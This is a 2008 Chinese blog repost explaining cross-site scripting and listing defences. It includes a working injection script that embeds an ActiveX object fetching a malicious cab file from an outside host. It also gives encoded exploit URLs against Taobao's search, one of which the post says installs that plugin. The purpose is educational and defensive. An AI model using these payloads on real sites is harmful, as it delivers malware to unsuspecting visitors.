Jamebo

导航

跨站点脚本攻击的防范(ZT)

转帖自朋友的Blog:
http://www.zhangsichu.com/blogview.asp?Content_Id=104

跨站点脚本攻击在Web开发中是个非常敏感的安全问题。
跨站点脚本攻击(XSS)FAQ 这篇文章 http://tech.idv2.com/2006/08/30/xss-faq/ 讲述了跨站点脚本攻击的常见情况。

下面摘引自原文部分章节:

------------------------------------------------------------------------
什么是跨站脚本攻击?
跨 站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻 击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶 意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含 HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的 session信息。有关攻击方法的详细情况将在下面阐述。

XSS和CSS是什么意思?
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 "我发现了一个XSS漏洞",显然他是在说跨站脚本攻击。
跨站脚本攻击有什么危害?

为 了搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户(详见下文)。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。每天都有大 量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了"拒绝服务攻击"以及用户仅仅阅读一篇文章就会受到的"自动攻击"。

------------------------------------------------------------------------

在这篇文章中讲述了跨站点攻击窃取他人Cookie,伪装他人登录的细节。
当 前的跨站点脚本攻击已经发展到了一个非常妖魔化的地步,不再只局限于窃取他人的Cookie。更加恶毒的跨站点脚本攻击会让访问者中恶意插件,中木马。一 般的跨站点脚本攻击会利用漏洞执行document.write。写入一段javascript,让浏览器执行。现在部分站点屏蔽了 document.write或者把用户可能注入的脚本放在一个display=none的Div中,让注入攻击失败。当前又发现了用innerHTML 的方式注入可见Div,实现跨站点脚本攻击的方式。

跨站点脚本攻击+html注入嵌入恶意插件
下面是利用淘宝网的脚本漏洞,编写的跨站点脚本攻击代码:

注入代码的原型:

<script type="text/javascript">
window.onload = function(){
document.getElementById("QuickLinks").innerHTML =
"<object classid=clsid:56A7DC70-E102-4408-A34A-AE06FEF01586 CODEBASE=http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0></object>";
}</script>


http://iebar.t2t2.com/iebar.cab 这个恶意IE弹框插件是在《一段Script引发的"冤案"》中发现的恶意插件。由于没有找到一个合适的IE插件.cab文件做测试,所以拿这个来做跨站点脚本攻击嵌入恶意插件的测试。

通过淘宝网Search时没有过滤用户输入,存在的脚本漏洞生成的link.

http://search1.taobao.com/browse/0/t-95-----------------g,hrzwg4tjob2ca5dzobst2itumv4hil3kmf
3gc43dojuxa5bchz3ws3ten53s433onrxwczbahuqgm5lomn2gs33ofauxwzdpmn2w2zlooqxgozluiv
wgk3lfnz2ee6kjmquceulvnfrwwtdjnzvxgirjfzuw43tfojefitkmea6sair4n5rguzldoqqgg3dbonzwszb5
e5rwy43jmq5dknsbg5cegnzqfvctcmbsfu2dimbyfvatgncbfvaukmbwizcummbrgu4dmjzainhuirkcifju
kpjhnb2hi4b2f4xwszlcmfzc45bsoqzc4y3pnuxwszlcmfzc4y3bmirvmzlsonuw63r5gewdclbqfqycopr4f5
xwe2tfmn2d4ir3pu6c643dojuxa5b6----------------40--commend-0-all-0.htm?at_topsearch=1


由于链接过长在FF下显示会很难看,这里截断了链接。如果要访问这个链接,需要先把它黏贴到记事本里,去掉其中的回车,然后访问才可以看到注入效果。
访问这个link可能会让您的机器中iebar这个恶意插件

访问link后如下图(使用IE访问可以看到明显的效果):

screen.width-300)this.width=screen.width-300" alt="Click to Open in New Window" border="0">

红框中的那个东东就是恶意插件了。

下面的注入是一个安全的注入测试,没有危害。

http://search1.taobao.com/browse/0/t-95-----------------g,hrzwg4tjob2ca5dzobst2itumv4
hil3kmf3gc43dojuxa5bchz3ws3ten53s433onrxwczbahuqgm5lomn2gs33ofauxwzdpmn2w
2zlooqxgozluivwgk3lfnz2ee6kjmquceulvnfrwwtdjnzvxgirjfzuw43tfojefitkmea6sair4nfwwoi
dtojrt2j3ior2haorpf55gqylom5zwsy3iouxgg33nf5uw2ylhmvzs6ytmn5twy33hn4xgu4dhe4
qc6prchn6tyl3tmnzgs4duhy----------------40--commend-0-all-0.htm?at_topsearch=1


如下图(注入图片)

screen.width-300)this.width=screen.width-300" alt="Click to Open in New Window" border="0">

跨站点脚本攻击是一个十分危险的攻击手段,会让你的Web产品蒙受不白之冤。恶意的Link链接是从你的站点里出来的,一般的用户完全会认为是你的站点里带了恶意的插件,使恶意插件深深的隐藏了起来。


防范跨站点脚本攻击的办法:
1.设置白名单,只认为在白名单中的字符才是合法的字符,当用户输入的字符在白名单之外,全部过滤。如使用正则表达式过滤。
2.输出时HtmlEncode。
3.Asp.Net中在可能潜在攻击的页面中开启Validate Request。
4.对所有的html属性添加双引号,闭合属性。
5.IE中使用 HttpOnly Cookie。
6.IE的Frame中加 Frame Security属性。
7.使用XSSDetect做检查, XSSDetect是MS集成在VS2005中的XSS检查工具非常好用。

posted on 2008-01-23 09:49  一直在学习...  阅读(3050)  评论(3编辑  收藏  举报